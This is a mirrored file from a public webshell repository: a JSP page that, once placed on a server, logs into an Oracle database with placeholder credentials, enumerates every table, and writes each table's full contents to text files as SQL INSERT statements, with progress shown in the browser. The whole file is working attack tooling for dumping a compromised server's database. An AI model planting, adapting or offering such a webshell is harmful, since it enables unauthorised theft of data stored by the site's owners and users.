mirror of
https://github.com/tennc/webshell
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72 lines
2.2 KiB
Text
72 lines
2.2 KiB
Text
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<%@ page import="java.sql.*" %>
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<%@ page import="java.util.*" %>
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<%@ page import="java.io.*" %>
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<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
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<%
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try {
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String backupDir = "/usr/data/";
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String ex=".txt";
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String driver = "oracle.jdbc.driver.OracleDriver";
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String url = "jdbc:oracle:thin:user/pass@localhost:1521:orcl";
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String username = "user";
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String password = "pass";
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Class.forName(driver);
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Connection conn = DriverManager.getConnection(url, username, password);
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// Get tables
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String sql_tables="select TABLE_NAME from user_tab_comments";
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PreparedStatement ps = conn.prepareStatement(sql_tables);
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ResultSet rs = ps.executeQuery();
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ArrayList<String> tables = new ArrayList<String>();
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while (rs.next()) {
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tables.add(rs.getString(1));
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}
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rs.close();
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for(int i=0;i<tables.size();i++){
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String table=tables.get(i);
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out.println("Dumping data for table " + table + "...<br />");
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OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
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BufferedWriter bw=new BufferedWriter(osw);
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String sql="select * from "+table;
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PreparedStatement p = conn.prepareStatement(sql);
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ResultSet r = p.executeQuery();
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ResultSetMetaData rsmeta=r.getMetaData();
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while(r.next()){
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bw.append("INSERT INTO " + table + " VALUES(");
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// JDBC is 1-based, Java is not !?
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for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
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bw.append("'");
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if (r.getString(col) == null)
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bw.append("");
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else
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bw.append(r.getString(col));
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if (col == rsmeta.getColumnCount())
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bw.append("'");
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else
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bw.append("', ");
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}
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bw.append(");");
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bw.newLine();
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}
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bw.flush();
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bw.close();
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osw.close();
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r.close();
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}
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rs.close();
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out.println("backup is ok");
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conn.close();
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} catch (Exception e) {
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response.setStatus(200);
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e.printStackTrace();
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}
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out.println("<p><h3>finished</h3></p>");
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%>
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